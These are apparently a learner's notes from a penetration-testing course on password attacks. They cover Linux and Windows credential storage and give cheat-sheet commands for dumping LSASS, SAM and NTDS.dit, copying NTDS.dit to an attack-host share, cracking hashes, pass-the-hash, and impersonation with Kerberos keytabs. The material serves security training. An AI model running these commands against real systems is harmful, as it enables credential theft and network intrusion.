Password Attacks

Notes from HTB Academy Password Attacks course

Linux auth process

Shadow file

• /etc/shadow

csbygb:	$y$j9T$3QSBB6CbHEu...SNIP...f8Ms:	18955:	0:	99999:	7:	:	:	:
<username>:	<encrypted password>:	<day of last change>:	<min age>:	<max age>:	<warning period>:	<inactivity period>:	<expiration date>:	<reserved field>

• Encryption of password in shadow

$ <id>	$ <salt>	$ <hashed>
$ y	$ j9T	$ 3QSBB6CbHEu...SNIP...f8Ms

The type (id) is the cryptographic hash method used to encrypt the password. Many different cryptographic hash methods were used in the past and are still used by some systems today.

ID	Cryptographic Hash Algorithm
$1$	MD5
$2a$	Blowfish
$5$	SHA-256
$6$	SHA-512
$sha1$	SHA1crypt
$y$	Yescrypt
$gy$	Gost-yescrypt
$7$	Scrypt

The other two files are /etc/passwd and /etc/group. In the past, the encrypted password was stored together with the username in the /etc/passwd file, but this was increasingly recognized as a security problem because the file can be viewed by all users on the system and must be readable. The /etc/shadow file can only be read by the user root.

Passwd file

csbygb:	x:	1000:	1000:	,,,:	/home/csbygb:	/bin/bash
<username>:	<password>:	<uid>:	<gid>:	<comment>:	<home directory>:	<cmd executed after logging in>

The x in the password field indicates that the encrypted password is in the /etc/shadow file. However, the redirection to the /etc/shadow file does not make the users on the system invulnerable because if the rights of this file are set incorrectly, the file can be manipulated so that the user root does not need to type a password to log in. Therefore, an empty field means that we can log in with the username without entering a password.

Windows auth process

The Windows client authentication process can oftentimes be more complicated than with Linux systems and consists of many different modules that perform the entire logon, retrieval, and verification processes. In addition, there are many different and complex authentication procedures on the Windows system, such as Kerberos authentication. The Local Security Authority (LSA) is a protected subsystem that authenticates users and logs them into the local computer. In addition, the LSA maintains information about all aspects of local security on a computer. It also provides various services for translating between names and security IDs (SIDs).

The security subsystem keeps track of the security policies and accounts that reside on a computer system. In the case of a Domain Controller, these policies and accounts apply to the domain where the Domain Controller is located. These policies and accounts are stored in Active Directory. In addition, the LSA subsystem provides services for checking access to objects, checking user permissions, and generating monitoring messages.

Windows Authentication Process Diagram

Local interactive logon is performed by the interaction between the logon process (WinLogon), the logon user interface process (LogonUI), the credential providers, LSASS, one or more authentication packages, and SAM or Active Directory. Authentication packages, in this case, are the Dynamic-Link Libraries (DLLs) that perform authentication checks. For example, for non-domain joined and interactive logins, the authentication package Msv1_0.dll is used.

Winlogon is a trusted process responsible for managing security-related user interactions. These include:

• Launching LogonUI to enter passwords at login

• Changing passwords

• Locking and unlocking the workstation

It relies on credential providers installed on the system to obtain a user's account name or password. Credential providers are COM objects that are located in DLLs.

Winlogon is the only process that intercepts login requests from the keyboard sent via an RPC message from Win32k.sys. Winlogon immediately launches the LogonUI application at logon to display the user interface for logon. After Winlogon obtains a user name and password from the credential providers, it calls LSASS to authenticate the user attempting to log in.

LSASS

Local Security Authority Subsystem Service (LSASS) is a collection of many modules and has access to all authentication processes that can be found in %SystemRoot%\System32\Lsass.exe. This service is responsible for the local system security policy, user authentication, and sending security audit logs to the Event log. In other words, it is the vault for Windows-based operating systems, and we can find a more detailed illustration of the LSASS architecture here.

Authentication Packages	Description
Lsasrv.dll	The LSA Server service both enforces security policies and acts as the security package manager for the LSA. The LSA contains the Negotiate function, which selects either the NTLM or Kerberos protocol after determining which protocol is to be successful.
Msv1_0.dll	Authentication package for local machine logons that don't require custom authentication.
Samsrv.dll	The Security Accounts Manager (SAM) stores local security accounts, enforces locally stored policies, and supports APIs.
Kerberos.dll	Security package loaded by the LSA for Kerberos-based authentication on a machine.
Netlogon.dll	Network-based logon service.
Ntdsa.dll	This library is used to create new records and folders in the Windows registry.

Each interactive logon session creates a separate instance of the Winlogon service. The Graphical Identification and Authentication (GINA) architecture is loaded into the process area used by Winlogon, receives and processes the credentials, and invokes the authentication interfaces via the LSALogonUser function.

Attacking LSASS

Upon initial logon, LSASS will:

• Cache credentials locally in memory

• Create access tokens

• Enforce security policies

• Write to Windows security log

Dumping LSASS Process Memory

• With Task Manager (requires GUI access)

Task Manager

Image from HTB Academy

A file lsass.DMP will be in C:\Users\loggedonusersdirectory\AppData\Local\Temp

• With Rundll32.exe & Comsvcs.dll

Before issuing the command to create the dump file, we must determine what process ID (PID) is assigned to lsass.exe. This can be done from cmd or PowerShell:

• tasklist /svc from cmd

• Get-Process lsass from powershell

• rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full lsass dump with powershell

Using Pypykatz to Extract Credentials

• Install pypykatz

mkdir pypykatz
python3 -m venv .
source bin/activate
pip install pypykatz

• pypykatz lsa minidump /home/peter/Documents/lsass.dmp

SAM Database

The Security Account Manager (SAM) is a database file in Windows operating systems that stores users' passwords. It can be used to authenticate local and remote users. SAM uses cryptographic measures to prevent unauthenticated users from accessing the system. User passwords are stored in a hash format in a registry structure as either an LM hash or an NTLM hash. This file is located in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM. SYSTEM level permissions are required to view it.

Windows systems can be assigned to either a workgroup or domain during setup. If the system has been assigned to a workgroup, it handles the SAM database locally and stores all existing users locally in this database. However, if the system has been joined to a domain, the Domain Controller (DC) must validate the credentials from the Active Directory database (ntds.dit), which is stored in %SystemRoot%\ntds.dit.

Microsoft introduced a security feature in Windows NT 4.0 to help improve the security of the SAM database against offline software cracking. This is the SYSKEY (syskey.exe) feature, which, when enabled, partially encrypts the hard disk copy of the SAM file so that the password hash values for all local accounts stored in the SAM are encrypted with a key.

Credential Manager

Credential Manager is a feature built-in to all Windows operating systems that allows users to save the credentials they use to access various network resources and websites. Saved credentials are stored based on user profiles in each user's Credential Locker. Credentials are encrypted and stored in C:\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]\

Copying SAM Registry Hives

There are three registry hives that we can copy if we have local admin access on the target; each will have a specific purpose when we get to dumping and cracking the hashes.

Registry Hive	Description
hklm\sam	Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext.
hklm\system	Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database.
hklm\security	Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target.

We can create backups of these hives using the reg.exe utility.

• reg.exe save hklm\sam C:\sam.save

• reg.exe save hklm\system C:\system.save

• reg.exe save hklm\security C:\security.save

Dumping Hashes with Impacket's secretsdump.py

• python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL

Running Hashcat against NT hashes

• sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt

Dumping LSA Secrets Remotely

• crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa

Dumping SAM Remotely

• crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam

NTDS

It is very common to come across network environments where Windows systems are joined to a Windows domain. This is common because it makes it easier for admins to manage all the systems owned by their respective organizations (centralized management). In these cases, the Windows systems will send all logon requests to Domain Controllers that belong to the same Active Directory forest. Each Domain Controller hosts a file called NTDS.dit that is kept synchronized across all Domain Controllers with the exception of Read-Only Domain Controllers. NTDS.dit is a database file that stores the data in Active Directory, including but not limited to:

• User accounts (username & password hash)

• Group accounts

• Computer accounts

• Group policy objects

Attack Methods

Dictionary Attacks

Dictionary attacks involve using a pre-generated list of words and phrases (known as a dictionary) to attempt to crack a password. This list of words and phrases is often acquired from various sources, such as publicly available dictionaries, leaked passwords, or even purchased from specialized companies. The dictionary is then used to generate a series of strings which are then used to compare against the hashed passwords. If a match is found, the password is cracked, providing an attacker access to the system and the data stored within it. This type of attack is highly effective. Therefore, it is essential to take the necessary steps to ensure that passwords are kept secure, such as using complex and unique passwords, regularly changing them, and using two-factor authentication.

When we find ourselves in a scenario where a dictionary attack is a viable next step, we can benefit from trying to custom tailor our attack as much as possible. In this case, we can consider the organization we are working with to perform the engagement against and use searches on various social media websites and look for an employee directory on the company's website. Doing this can result in us gaining the names of employees that work at the organization. One of the first things a new employee will get is a username. Many organizations follow a naming convention when creating employee usernames. Here are some common conventions to consider:

Username Convention	Practical Example for Jane Jill Doe
firstinitiallastname	jdoe
firstinitialmiddleinitiallastname	jjdoe
firstnamelastname	janedoe
firstname.lastname	jane.doe
lastname.firstname	doe.jane
nickname	doedoehacksstuff

A tip from MrB3n: We can often find the email structure by Googling the domain name, i.e., “@inlanefreight.com” and get some valid emails. From there, we can use a script to scrape various social media sites and mashup potential valid usernames. Some organizations try to obfuscate their usernames to prevent spraying, so they may alias their username like a907 (or something similar) back to joe.smith. Sometimes you can use google dorks to search for “inlanefreight.com filetype:pdf” and find some valid usernames in the PDF properties if they were generated using a graphics editor. From there, you may be able to discern the username structure and potentially write a small script to create many possible combinations and then spray to see if any come back valid.

• ./username-anarchy -i names.txt convert a list of real names into common usernames formats.

• NetExec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt dictionnary attack with NetExec

Capturing NTDS.dit

NTDS.dit file is stored at %systemroot$/ntds on the domain controllers in a forest. This is the primary database file associated with AD and stores all domain usernames, password hashes, and other critical schema information.

Creating Shadow Copy of C:

We can use vssadmin to create a Volume Shadow Copy (VSS) of the C: drive or whatever volume the admin chose when initially installing AD. It is very likely that NTDS will be stored on C: as that is the default location selected at install, but it is possible to change the location.

• PS C:\> vssadmin CREATE SHADOW /For=C:

• cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit Copying NTDS.dit from the VSS

• PS C:\NTDS> cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData Transferring NTDS.dit to Attack Host

A Faster Method: Using cme to Capture NTDS.dit

• NetExec smb 10.129.201.57 -u bwilliamson -p P@55w0rd! --ntds This command allows us to utilize VSS to quickly capture and dump the contents of the NTDS.dit file conveniently within our terminal session.

Cracking Hashes & Gaining Credentials

• sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt Cracking a Single Hash with Hashcat

• evil-winrm -i 10.129.201.57 -u Administrator -H "64f12cddaa88057e06a81b54e73b949b" pass the hash with evil-winrm (more info about pass-the-hash attacks here)

Credential Hunting in Windows

Here we assume that we have gained access to an IT admin's Windows 10 workstation through RDP.

Keyterms to search

• Passwords, Passphrases, Keys, Username, User account, Creds, Users, Passkeys, Passphrases, configuration, dbcredential, dbpassword, pwd, Login, Credentials.

Tools

• Lazagne

  • start lazagne.exe all execute Lazagne and run all included modules. We can include the option -vv to study what it is doing in the background.

• findstr

  • findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml

Other places to keep in mind

• Passwords in Group Policy in the SYSVOL share

• Passwords in scripts in the SYSVOL share

• Password in scripts on IT shares

• Passwords in web.config files on dev machines and IT shares

• unattend.xml

• Passwords in the AD user or computer description fields

• KeePass databases --> pull hash, crack and get loads of access.

• Found on user systems and shares

• Files such as pass.txt, passwords.docx, passwords.xlsx found on user systems, shares, Sharepoint

Brute Force Attacks

Brute force attacks involve attempting every conceivable combination of characters that could form a password. This is an extremely slow process, and using this method is typically only advisable if there are no other alternatives. It is also important to note that the longer and more complex the password, the more difficult it is to crack and the longer it will take to exhaust every combination. For this reason, it is highly recommended that passwords be at least 8 characters in length, with a combination of letters, numbers, and symbols.

Rainbow Table Attacks

Rainbow table attacks involve using a pre-computed table of hashes and their corresponding plaintext passwords, which is a much faster method than a brute-force attack. However, this method is limited by the rainbow table size – the larger the table, the more passwords, and hashes it can store. Additionally, due to the nature of the attack, it is impossible to use rainbow tables to determine the plaintext of hashes not already included in the table. As a result, rainbow table attacks are only effective against hashes already present in the table, making the larger the table, the more successful the attack.

Linux Local Password Attacks

Credential hunting in Linux

Files	History	Memory	Key-Rings
Configs	Logs	Cache	Browser stored credentials
Databases	Command-line History	In-memory Processing
Notes
Scripts
Source codes
Cronjobs
SSH Keys

Log File	Description
/var/log/messages	Generic system activity logs.
/var/log/syslog	Generic system activity logs.
/var/log/auth.log	(Debian) All authentication related logs.
/var/log/secure	(RedHat/CentOS) All authentication related logs.
/var/log/boot.log	Booting information.
/var/log/dmesg	Hardware and drivers related information and logs.
/var/log/kern.log	Kernel related warnings, errors and logs.
/var/log/faillog	Failed login attempts.
/var/log/cron	Information related to cron jobs.
/var/log/mail.log	All mail server related logs.
/var/log/httpd	All Apache related logs.
/var/log/mysqld.log	All MySQL server related logs.

• for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done seach for configuration files

• for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done search for "user", "password" and "pass" in all cnf files

• for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done search for database files

• find /home/* -type f -name "*.txt" -o ! -name "*.*" search for files including the .txt file extension and files that have no file extension at all

• for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done search for scripts

• cat /etc/crontab ls -la /etc/cron.*/ search for cron jobs (might contain creds)

• grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1" search for ssh private keys

• grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1" search for ssh public keys

• tail -n5 /home/*/.bash* search for files with .bash in the name

• for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done search for specific strings (accepted session opened session closed failure failed ssh password changed new user delete user sudo COMMAND= logs) in log files

mimipenguin

Requires root privileges

• Repo of mimipenguin

• sudo python3 mimipenguin.py or sudo bash mimipenguin.sh

Lazagne

• sudo python2.7 laZagne.py all

Credentials in Browsers

• ls -l .mozilla/firefox/ | grep default search for firefox files with credentials

• cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq . print mozzilla creds file

• python3 laZagne.py browsers with lazagne

Firefox decrypt

• Repo

• python3.9 firefox_decrypt.py Decrypting Firefox Credentials

Passwd,Shadow & Opasswd

Passwd

If we change root:x:0:0:root:/root:/bin/bash for root::0:0:root:/root:/bin/bash root wont require a password if we use su

Shadow File

The format of this file is divided into nine fields:

cry0l1t3:$6$wBRzy$...SNIP...x9cDWUxW1:18937:0:99999:7:::

Username	Encrypted password	Last PW change	Min. PW age	Max. PW age	Warning period	Inactivity period	Expiration date	Unused
cry0l1t3	$6$wBRzy$...SNIP...x9cDWUxW1	18937	0	99999	7

If the password field contains a character, such as ! or *, the user cannot log in with a Unix password. However, other authentication methods for logging in, such as Kerberos or key-based authentication, can still be used. The same case applies if the encrypted password field is empty. This means that no password is required for the login. However, it can lead to specific programs denying access to functions. The encrypted password also has a particular format by which we can also find out some information:

$<type>$<salt>$<hashed>

Algorithm Types

• $1$ – MD5

• $2a$ – Blowfish

• $2y$ – Eksblowfish

• $5$ – SHA-256

• $6$ – SHA-512

Opasswd

The PAM library (pam_unix.so) can prevent reusing old passwords. The file where old passwords are stored is the /etc/security/opasswd. Administrator/root permissions are also required to read the file if the permissions for this file have not been changed manually.

• sudo cat /etc/security/opasswd

Cracking Linux Credentials

Unshadow

sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes

Hashcat - Cracking Unshadowed Hashes

• hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked

Hashcat - Cracking MD5 Hashes

• cat md5-hashes.list

• hashcat -m 500 -a 0 md5-hashes.list rockyou.txt

keytab files

Another everyday use of Kerberos in Linux is with keytab files. A keytab is a file containing pairs of Kerberos principals and encrypted keys (which are derived from the Kerberos password). You can use a keytab file to authenticate to various remote systems using Kerberos without entering a password. However, when you change your password, you must recreate all your keytab files.

Keytab files commonly allow scripts to authenticate automatically using Kerberos without requiring human interaction or access to a password stored in a plain text file. For example, a script can use a keytab file to access files stored in the Windows share folder.

• find / -name *keytab* -ls 2>/dev/null search for keytab files

• crontab -l (possible to find keytab in cron jobs)

• klist -k -t listing keytab informations

• kinit [e-mail] -k -t /opt/specialfiles/carlos.keytab if you found another user's keytab file (here carlos) you can impersonate him with this command. And then you can use klist again

• smbclient //dc01/carlos -k -c ls finally you can connect to this user's smb share.

keytab extract

• python3 /opt/keytabextract.py /opt/specialfiles/carlos.keytab Extracting Keytab Hashes with KeyTabExtract

then you can try to crack the hash with crackstation or hashcat or john. You can also perform a pass the hash attack with the ntlm hash

• su - [e-mail] you can login as the other user

Importing ccache files

If you find ccache files, you can import them and impersonate the user they belong to.

cp /tmp/krb5cc_647402606_91JyEJ .
export KRB5CCNAME=/root/krb5cc_647402606_91JyEJ
klist # to see if it worked
smbclient //dc01/C$ -k -c ls -no-pass

Cracking Files

Protected files

• List of extensions here

# Find the most common files extensions
for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

• grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1" find SSH keys

• You can crack them with john, see the page of this tool here

Resources

• Linux User Auth

• Microsoft Docs

• Passwords, Hashes and wordlist tools

• Username Anarchy